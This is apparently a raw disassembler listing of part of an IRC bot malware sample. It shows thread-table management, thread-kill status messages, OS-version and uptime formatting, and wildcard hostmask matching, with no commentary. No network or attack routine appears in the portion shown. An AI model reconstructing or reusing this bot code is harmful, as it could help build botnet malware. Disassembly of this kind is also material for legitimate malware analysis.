		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 2830E52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431910
		push	eax
		push	esi
		nop
		call	near ptr 2860000h
		movsx	eax, byte_431910
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB24
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2830E52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 2870000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431914
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB24
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D7D8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 2880000h
		call	near ptr 2830E52h
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43193C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431938
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431934
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431930
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43192C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431928
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431924
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431920


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431918
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB24
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 2830E52h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CB630
		test	eax, eax
		mov	eax, offset dword_431948
		jnz	short loc_40B022
		mov	eax, offset dword_43D7D8


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431940
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CB630
		test	eax, eax
		mov	eax, offset dword_431948
		jnz	short loc_40B04D
		mov	eax, offset dword_43D7D8


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC4C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCC4
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC50[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E360


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB360
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E360[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E560[esi], eax
		and	dword_43E564[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E568[esi], 0
		mov	dword_43E56C[esi], eax
		and	byte_43E578[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 4757CCE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431A48h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43E360BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C85468FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 60FE8147h, 7C004CB3h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E574[esi]
		lea	edi, dword_43E574[esi]
		nop
		call	near ptr 2840000h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43E568[esi]
		mov	dword_43E560[esi], ebx
		mov	dword_43E564[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43E56C[esi]
		mov	byte ptr dword_43E360[esi], bl
		mov	byte_43E578[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6BC
		lea	esi, dword_43E570[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6BC
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E360


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB360
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E564


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB564
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E560


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB560
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E560


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB560
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E574[eax], ecx
		mov	dword_43E560[eax], ecx
		mov	dword_43E564[eax], ecx
		mov	dword_43E568[eax], ecx
		mov	dword_43E56C[eax], ecx
		mov	dword_43E570[eax], ecx
		mov	byte ptr dword_43E360[eax], cl
		mov	byte_43E578[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E64
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431AC8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431AD0


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E58
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CB364
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
